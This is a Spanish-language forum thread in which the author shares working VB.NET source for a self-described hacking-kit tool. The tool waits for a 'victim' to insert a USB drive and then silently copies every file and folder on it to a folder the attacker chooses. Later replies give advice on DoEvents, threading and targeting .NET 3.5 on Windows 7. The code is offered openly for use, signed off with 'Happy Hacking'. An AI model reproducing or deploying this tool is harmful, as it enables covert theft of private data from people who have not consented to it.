Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:

Imports Microsoft.VisualBasic.FileIO
Module Interceptar
    Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
        Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
        For Each Ruta_Archivo As String In Archivos
            Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
            Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
            FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
        Next
    End Sub
    Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
        Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
        For Each Ruta_Directorio As String In Directorios
            Console.WriteLine(Ruta_Directorio)
            Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
            FileSystem.CreateDirectory(CurDir() + Directorio)
            FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
        Next
    End Sub
    Sub Main()
        Console.WriteLine("--Interceptar Archivos/Directorios USB--")
        Dim Ruta_USB As String = Nothing
        While Ruta_USB = Nothing
            For Each drive In FileSystem.Drives
                If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
                    Console.WriteLine("Se encontro un dispositivo USB")
                    Ruta_USB = drive.Name
                    Console.WriteLine(drive.Name)
                    Try
                        Interceptar_Archivos(Ruta_USB)
                        Interceptar_Carpetas(Ruta_USB)
                    Catch ex As Exception
                    End Try
                End If
            Next
        End While
        Console.Read()
    End Sub
End Module
 

Happy Hacking

No incluí DoEvents() ya que en mi PC ni se congela la aplicación ni se retrasa ningun proceso pero sería Application.DoEvents(). Está compilado bajo el Framework 4.0, que lamentablemente Win7 no trae por defecto (trae el 3.5) Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones.

Buscaré como compilar bajo 3.5, gracias

Un saludo!

En vb6 por lo que me he fijado se llama bastante a DoEvents para que no se congele la aplicación, bueno en .NET esto lo consigo creando un simple Hilo, o bien llamando a DoEvents como uno quiera.

Saludos.

Si, tienes razon, no me di cuenta, y creo que es para eso mismo, para las ventanas que puede traer problemas cuando estas haciendo una operacion que demora mucho, asi que no pongas nada y ta jaja, saludos, buen aporte

La verdad nunca toqué vb6 En .NET para ejecutar esos métodos lo hago casi todas las veces mediante un hilo en vez de llamar a la función

Pero gracias a dios leí hace poco sobre programación asincronica, me documenté un poco por msdn y otras y ya mucho mejor con las funciones Callback y con los Delegados. La verdad que ganas bastantes recursos y puedes ahorrarte sentencias de repetición y llamadas a DoEvents (muy vb6 )

Saludos.